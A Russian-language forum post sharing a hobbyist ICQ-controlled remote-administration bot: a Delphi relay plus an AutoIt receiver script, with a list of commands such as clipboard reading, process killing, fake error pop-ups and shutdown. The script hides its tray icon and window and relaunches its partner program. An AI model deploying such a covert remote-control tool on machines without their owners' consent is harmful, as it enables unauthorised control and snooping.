Что то не кто не делиться своими разработками... Пока
sproxy доделывает jabber.udf я тут покумекал, и сделал icqbota. Суть такая, есть посредник, написанный на Delphi (Исходники и описания прилагаются, и если уже возникнет такое желание, то разобраться думаю сможет каждый, ибо и я с дельфи знаком около недели
, и познакомился специально для этой цели, но думаю с задачей справился, благо примеров в инете хватает..., хотя од себя добавляю, что код не имеет каких то скрытых там секретов - мне это не нужно), и этот посредник - icqbot только передает другой программе написанной на autoit комманды от удаленного админа, а от него в свою очередь пересылает комманды, если таковые будут, удаленному админу. Все настройки хранятся в ini файле, в текстовом файле в архиве, есть подробное описание работы этого дуэта, все что нужно, это добавить команды, которые нужны вам, уже есть встроенные комманды, для начала, эти комманды встроенные в icqbot, при желании сможете добавть какие то еще функции сюда,
гугл вам в помощь так как и послужил мне
, хотя по моему все что нужно от посредника icqbot делает, и комманды лучше сразу добавлять в Autoit-программу, для которой собственно я и складал из чужих советов этого посредника бота
. Вот список встроенных комманд:
. - просто проверка состояния подключения клиента
.ShowDesk - показать иконки рабочего стола
.HideDesk - спрятать иконки рабочего стола
.ShowStart - показать пуск
.Hidestart - спрятать пуск
.ShowTaskBar - показать таскбар
.HideTaskBar - спрятать таскбар
.ShowClock - показать часы
.HideClock - спрятать часы
.TimePC - время установки системы
.TimePowerPC - время работы компьютера
.Command - список комманд
.Cdo - открыть привод компакт дисков
.Сdc - закрыть привод компакт дисков
.Info - информация о компьютере
.Off - выключить компьютер
.Reboot - перезагрузка
.DriveList - список дисков
.Getclb - буфер обмена (текст)
.Setclb: - занести в буфер обмена (текст)
.Close - закрыть клиент(будут закрыты обе проги - icqbot и AutReceiver)
.GetProc - получить список процессов
.OpenUrl: - открыть ссылку в стандарном браузере
.KillProc: - убить процесс
.MesWarn:Текст,Заголовок - вывод на экран компа сообщения об ошибке
Вот ссылка на закачку:
Загрузить (размер 869 Кб) Код самого Receiver-a, Autoitскрипта вот:
[more]
Код: #NoTrayIcon
#include <WindowsConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <Misc.au3>
;Предотвращение запуска 2 копий проги
if _Singleton(@ScriptName,1) = 0 Then
Exit
Endif
Opt('WinTitleMatchMode', 3)
Global $Send_Button, $sMsg_To_IcqWindow,$hWnd_IcqWindow
;global const $WM_COPYDATA = 0x004A
; $sMsg-это полученное сообщение от ICQBota(сообщение передается через wm_copydata). А $Flag -если $Flag = 1 то значит сообщение прибыло
Global $sMsg, $Flag = 0
;нужно знать заголовок окна для передачи сообщения
global $WinICQTitle =IniRead ( "Config.ini", "ICQ", "WinICQTitle:", "клиент 007" )
;нужно указать заголовок окна для получения сообщения(будет из ICQBota отсылаться сообщения именно окну с таким заголовком)
global $Title=IniRead ( "Config.ini", "Receiver", "WinAutTitle:", "#Receiver" )
;Если $VisibleAutWindow будет 1 (true) то это окно (AutoitReceiver) при запуске будет видимым, нужно для отладки, а если будет 0 (false) то окно будет невидимое, и значится только в процессах.
Global $VisibleAutWindow=IniRead ( "Config.ini", "Receiver", "VisibleAutWindow:", "0" )
;взятая настройка из ini - отсылать сообщение на AdminUin, или нет.
Global $Mess_OnRecvMessage=IniRead ( "Config.ini", "General", "Mess_OnRecvMessage:", "0" )
;взятая настройка из ini - если true(1) то будет производится поиск окна ICQBota и если его нету, то будет запускаться ICQBot
Global $ReStart_ICQandReceiver=IniRead ( "Config.ini", "General", "ReStart_ICQandReceiver:", "0" )
;взятая настройка из ini - имя ICQBot(нужно для запуска программы из этого скрипта)
Global $NameICQProg=IniRead ( "Config.ini", "ICQ", "NameICQProg:", "ICQBot" )
#Region начало создания gui
$hGUI=GUICreate($Title, 421, 182,(@DesktopWidth/2)-(421/2),(@DesktopHeight/2)-(182/2-182))
GUICtrlCreateLabel(" Принятые с IcqBot-a сообщения:", 0, 0, 173, 17)
$Edit_NewMessage=GUICtrlCreateEdit("", 0, 24, 417, 73, BitOR($ES_AUTOVSCROLL, $WS_VSCROLL, $ES_WANTRETURN))
GUICtrlCreateLabel(" Создание для IcqBot-a сообщения:", 0, 104, 183, 17)
$Edit_SendNewMessage=GUICtrlCreateEdit("", 0, 124, 361, 53, BitOR($ES_AUTOVSCROLL, $WS_VSCROLL, $ES_WANTRETURN))
$Send_Button = GUICtrlCreateButton("Send", 368, 124, 49, 53)
;Если True(в ini - 1) то окно видимо (для отладки)
If $VisibleAutWindow=1 then GUISetState(@SW_SHOW)
#EndRegion создания gui
;
;
GUIRegisterMsg($WM_COPYDATA, '_WM_COPYDATA')
;Если True то запускаем Adlib
If $ReStart_ICQandReceiver=1 then AdlibEnable( "_GetwinExistsICQBot",1000) ; create timer
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Send_Button
$sMsg_To_IcqWindow = GUICtrlRead($Edit_SendNewMessage)
$hWnd_IcqWindow = WinGetHandle($WinICQTitle)
if (not @error) and ($sMsg_To_IcqWindow > '') then
_SendData($hWnd_IcqWindow, $sMsg_To_IcqWindow)
Guictrlsetdata($Edit_SendNewMessage,"")
endif
EndSwitch
if $Flag then
$Flag = 0
_RecvMessage()
endif
WEnd
Func _GetwinExistsICQBot()
if winExists($WinICQTitle)<>1 then Run ($NameICQProg)
EndFunc ;_GetwinExistsICQBot()
func _SendData($hWnd, $sData)
local $tCOPYDATA, $tMsg
$tMsg = DllStructCreate('char[' & StringLen($sData) + 1 & ']')
DllStructSetData($tMsg, 1, $sData)
$tCOPYDATA = DllStructCreate('dword;dword;ptr')
DllStructSetData($tCOPYDATA, 2, StringLen($sData) + 1)
DllStructSetData($tCOPYDATA, 3, DllStructGetPtr($tMsg))
$Ret = DllCall('user32.dll', 'lparam', 'SendMessage', 'hwnd', $hWnd, 'int', $WM_COPYDATA, 'wparam', 0, 'lparam', DllStructGetPtr($tCOPYDATA))
if (@error) or ($Ret[0] = -1) then
return 0
endif
return 1
endfunc; _SendData
func _WM_COPYDATA($hWnd, $msgID, $wParam, $lParam)
local $tCOPYDATA = DllStructCreate('dword;dword;ptr', $lParam)
local $tMsg = DllStructCreate('char[' & DllStructGetData($tCOPYDATA, 2) & ']', DllStructGetData($tCOPYDATA, 3))
$sMsg = DllStructGetData($tMsg, 1)
; For Receiver
$Flag = 1
return 0
endfunc; _WM_COPYDATA
Func _RecvMessage()
$hWnd_IcqWindow = WinGetHandle($WinICQTitle)
GUICtrlSetData($Edit_NewMessage,$sMsg)
;если в ini-файле отмечено, чтоб отправлять сообщение при удачном получении, то дальше как раз это и будет делаться
if $Mess_OnRecvMessage=1 then
if $hWnd_IcqWindow <>"" then _SendData($hWnd_IcqWindow, 'Сообщение получено в AutoitReceiver, Boss!')
endif
;дальше как раз будут обрабатываться принятые сообщения
Switch $sMsg
Case 'close' ;это пусть будет, ибо нужно для удаленного выключения обоих программ , притом слово closе лучше пусть будет таким, ибо идет привязка к нему с icqbot-а
AdlibDisable()
If WinExists($WinICQTitle,"")=1 then WinClose($WinICQTitle,"")
Exit
;---------------------------------------------------------------------------------
Case 'a1'
MsgBox(262208,"Приятное сообщение!","Поздравляем, все работает должным образом!",5)
Case 'a2'
;команда пишеться тута
Case 'a3'
;команда пишеться тута
Case 'a4'
;команда пишеться тута
Case 'a5'
;команда пишеться тута
Case 'a6'
;команда пишеться тута
Case 'a7'
;команда пишеться тута
Case 'a8'
;команда пишеться тута
Case 'a9'
EndSwitch
EndFunc ;_RecvMessage()